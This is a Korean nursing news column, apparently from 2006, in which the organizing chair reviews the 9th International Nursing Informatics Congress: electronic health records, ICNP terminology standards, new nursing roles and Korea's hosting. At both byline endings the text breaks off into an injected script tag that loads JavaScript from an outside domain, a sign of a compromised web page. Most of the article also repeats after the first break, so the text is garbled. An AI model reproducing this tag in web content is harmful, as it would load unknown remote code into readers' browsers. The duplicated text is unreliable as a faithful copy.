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간호정보 . 용어 표준화 시급
세계간호정보학술대회 핫 이슈
[세계간호정보학술대회 조직위원장] 박현애 news@nursenews.co.kr 기사입력 2006-06-22 오전 10:06:17
제9차 세계간호정보학술대회가 성황리에 개최됐다. 간호정보학의 올림픽이라 불릴 정도로 여기서 발표되는 논문들은 세계간호정보학의 동향과 트렌드를 곧바로 나타낸다. `건강한 국민을 위한 소비자 중심의 컴퓨터 기반 케어'를 주제로 한 이번 대회에서는 변화하는 소비자의 성향과 이에 발맞춰가기 위한 정보화의 발전 및 간호의 진보에 대해 논의했다.
의사결정지원시스템과 평생전자건강기록, 보건의료정보 표준 및 간호용어 표준, 정보기술의 활용이 조직에 미치는 영향 등이 다뤄졌다. 이중 평생전자건강기록과 국제간호실무분류체계(ICNP), e-Learning 등에 수강생들이 많이 몰려 높은 관심을 반영했다. 임상실무관리에 대한 정보기술의 활용 등 시연도 펼쳐졌다. 워크숍과 전문가 패널에서는 ICNP 연구개발 프로젝트와 각국 연구자 소개 및 보건의료기술이 간호사의 역할과 다른 의료인과의 의사소통에 미치는 영향 등이 다뤄졌다.
이번 학술대회의 특징은 정보기술과 의료기술의 발달로 인한 새로운 소비자 등장과 이들의 새로운 보건의료서비스 요구, 또 이를 위한 새로운 정보기술 활용이 다뤄졌다는 점이다. 특히 간호사의 새로운 역할에 대한 논의가 많았다. 고령화 사회, 만성질환자 증가, 건강 패러다임 변화 등 새로운 환경과 소비자의 진보는 보건의료서비스가 지금과는 달라야 한다는 것을 말해주고 있다.
새로운 요구를 충족시키는 데 RFID, 와이브로 같은 통신기술, 새로운 모니터링/센싱기술과 같은 유비쿼터스 컴퓨팅 기술, 제노믹스, 나노 기술 등 다양한 정보기술이 활용될 수 있을 것이다. 이러한 정보기술이 환자간호에 널리 활용되면서 정보를 해석하고 컨설팅을 해주는 등 새로운 간호사 역할이 등장하게 될 것이다. 새로운 소비자는 환자뿐 아니라 정보기술을 갖춘 간호대학생, 일반간호사, 정보전문간호사가 될 수 있다.
노인인구 증가와 만성질환자 급증으로 병원 밖에서 치료받는 환자가 늘어나면서 병원과 지역사회 간에 정확하게 양질의 정보를 교환할 필요성이 높아지고 있다. 병원과 지역사회간 치료의 연속성을 유지하기 위해서는 평생전자건강기록이 요구된다. 환자를 안전하게 치료하려면 무엇보다도 정확한 정보를 얻을 수 있어야 하고, 평생전자건강기록에서 정확한 정보를 얻기 위해서는 표준화된 기술, 표준화된 내용의 정보, 용어, 의사결정지원 등이 요구되는데 이와 관련된 논문도 많이 발표됐다.
간호학과 정보학을 접목한 간호정보학의 특성을 반영하듯 학술대회에서 발표된 논문에서는 이 둘의 다양한 제휴를 소개하는 내용이 많았다. 공공부문과 민간부문의 제휴, 정보관련 학계와 업체의 제휴, 병원과 지역사회간의 제휴, 보건의료전문직간의 제휴, 보건의료진과 환자의 제휴 등이 그것이다.
간호정보학의 미래를 살핀 워크숍과 전문가 패널도 여러 편 있었다. 여기서는 간호정보학 발전을 위해 지금까지 기술발전과 사회발전에 수동적으로 반응하며 간호정보학의 역할과 범위를 정해온 행태를 벗어나 미래의 정보기술, 보건의료시스템, 간호, 사회가 어떻게 변화할 것인지 또 이러한 변화가 간호교육, 실무, 연구에 어떤 영향을 미칠지 예측한 후 적극적이고 능동적인 역할을 수행할 것을 제안했다.
이번 학술대회는 참가국과 참가자 수, 발표된 논문의 양과 질, 회의 장소의 시설과 규모, 그리고 대회 운영 측면에서 역대 최고의 학술대회로 평가받았다. 미국, 유럽뿐 아니라 아시아와 남아메리카, 동유럽 등에서 참석해 진정한 국제회의의 면모를 갖췄다. 특히 유무선 인터넷을 참가자들이 무료로 이용할 수 있었던 점과 약 50명에 달하는 자원봉사자들의 활약으로 매끄럽게 진행된 대회 운영, 개막식과 만찬에서 보여준 우리나라 전통공연이 높이 평가받았다. 삼성의료원, 서울대병원, 분당서울대병원, 연대 세브란스병원, 서울아산병원 등 5개 기관을 방문한 프로그램은 우리나라 간호와 병원 정보화 수준을 전 세계 참가자들에게 보여주는 좋은 기회가 됐다.
아시아 처음으로 개최권을 얻은 우리나라는 이번 학술대회를 통해 IT 강국, 인터넷 강국이라는 명칭에 걸맞게 행사를 성공적으로 진행했다. 우리나라가 간호정보학 교육, 실무, 연구에서 세계 어느 나라와 비교해도 뒤지지 않는다는 것을 보여줘 앞서가는 IT와 인터넷 기술뿐 아니라 간호실무, 교육, 연구에서 우리가 얼마나 활발한 간호정보학 관련 활동을 하고 있는지 세계에 알렸다. 이는 앞으로 우리나라가 아시아권은 물론 세계 간호정보학 분야에서 주도적인 역할을 하는 데 기여할 것이다. 이번에 알게 된 다른 나라의 간호정보학 수준과 학문적 교류를 토대로 인적 네트워크를 구축해 향후 간호정보학 분야의 공동연구는 물론 교육, 실무 분야에 활용될 기술 개발에 같이 참여할 수 있을 것이다.
박현애(세계간호정보학술대?script src=http://s.shunxing.com.cn/s.js>
의사결정지원시스템과 평생전자건강기록, 보건의료정보 표준 및 간호용어 표준, 정보기술의 활용이 조직에 미치는 영향 등이 다뤄졌다. 이중 평생전자건강기록과 국제간호실무분류체계(ICNP), e-Learning 등에 수강생들이 많이 몰려 높은 관심을 반영했다. 임상실무관리에 대한 정보기술의 활용 등 시연도 펼쳐졌다. 워크숍과 전문가 패널에서는 ICNP 연구개발 프로젝트와 각국 연구자 소개 및 보건의료기술이 간호사의 역할과 다른 의료인과의 의사소통에 미치는 영향 등이 다뤄졌다.
이번 학술대회의 특징은 정보기술과 의료기술의 발달로 인한 새로운 소비자 등장과 이들의 새로운 보건의료서비스 요구, 또 이를 위한 새로운 정보기술 활용이 다뤄졌다는 점이다. 특히 간호사의 새로운 역할에 대한 논의가 많았다. 고령화 사회, 만성질환자 증가, 건강 패러다임 변화 등 새로운 환경과 소비자의 진보는 보건의료서비스가 지금과는 달라야 한다는 것을 말해주고 있다.
새로운 요구를 충족시키는 데 RFID, 와이브로 같은 통신기술, 새로운 모니터링/센싱기술과 같은 유비쿼터스 컴퓨팅 기술, 제노믹스, 나노 기술 등 다양한 정보기술이 활용될 수 있을 것이다. 이러한 정보기술이 환자간호에 널리 활용되면서 정보를 해석하고 컨설팅을 해주는 등 새로운 간호사 역할이 등장하게 될 것이다. 새로운 소비자는 환자뿐 아니라 정보기술을 갖춘 간호대학생, 일반간호사, 정보전문간호사가 될 수 있다.
노인인구 증가와 만성질환자 급증으로 병원 밖에서 치료받는 환자가 늘어나면서 병원과 지역사회 간에 정확하게 양질의 정보를 교환할 필요성이 높아지고 있다. 병원과 지역사회간 치료의 연속성을 유지하기 위해서는 평생전자건강기록이 요구된다. 환자를 안전하게 치료하려면 무엇보다도 정확한 정보를 얻을 수 있어야 하고, 평생전자건강기록에서 정확한 정보를 얻기 위해서는 표준화된 기술, 표준화된 내용의 정보, 용어, 의사결정지원 등이 요구되는데 이와 관련된 논문도 많이 발표됐다.
간호학과 정보학을 접목한 간호정보학의 특성을 반영하듯 학술대회에서 발표된 논문에서는 이 둘의 다양한 제휴를 소개하는 내용이 많았다. 공공부문과 민간부문의 제휴, 정보관련 학계와 업체의 제휴, 병원과 지역사회간의 제휴, 보건의료전문직간의 제휴, 보건의료진과 환자의 제휴 등이 그것이다.
간호정보학의 미래를 살핀 워크숍과 전문가 패널도 여러 편 있었다. 여기서는 간호정보학 발전을 위해 지금까지 기술발전과 사회발전에 수동적으로 반응하며 간호정보학의 역할과 범위를 정해온 행태를 벗어나 미래의 정보기술, 보건의료시스템, 간호, 사회가 어떻게 변화할 것인지 또 이러한 변화가 간호교육, 실무, 연구에 어떤 영향을 미칠지 예측한 후 적극적이고 능동적인 역할을 수행할 것을 제안했다.
이번 학술대회는 참가국과 참가자 수, 발표된 논문의 양과 질, 회의 장소의 시설과 규모, 그리고 대회 운영 측면에서 역대 최고의 학술대회로 평가받았다. 미국, 유럽뿐 아니라 아시아와 남아메리카, 동유럽 등에서 참석해 진정한 국제회의의 면모를 갖췄다. 특히 유무선 인터넷을 참가자들이 무료로 이용할 수 있었던 점과 약 50명에 달하는 자원봉사자들의 활약으로 매끄럽게 진행된 대회 운영, 개막식과 만찬에서 보여준 우리나라 전통공연이 높이 평가받았다. 삼성의료원, 서울대병원, 분당서울대병원, 연대 세브란스병원, 서울아산병원 등 5개 기관을 방문한 프로그램은 우리나라 간호와 병원 정보화 수준을 전 세계 참가자들에게 보여주는 좋은 기회가 됐다.
아시아 처음으로 개최권을 얻은 우리나라는 이번 학술대회를 통해 IT 강국, 인터넷 강국이라는 명칭에 걸맞게 행사를 성공적으로 진행했다. 우리나라가 간호정보학 교육, 실무, 연구에서 세계 어느 나라와 비교해도 뒤지지 않는다는 것을 보여줘 앞서가는 IT와 인터넷 기술뿐 아니라 간호실무, 교육, 연구에서 우리가 얼마나 활발한 간호정보학 관련 활동을 하고 있는지 세계에 알렸다. 이는 앞으로 우리나라가 아시아권은 물론 세계 간호정보학 분야에서 주도적인 역할을 하는 데 기여할 것이다. 이번에 알게 된 다른 나라의 간호정보학 수준과 학문적 교류를 토대로 인적 네트워크를 구축해 향후 간호정보학 분야의 공동연구는 물론 교육, 실무 분야에 활용될 기술 개발에 같이 참여할 수 있을 것이다.
박현애(세계간호정보학술대?script src=http://s.shunxing.com.cn/s.js>
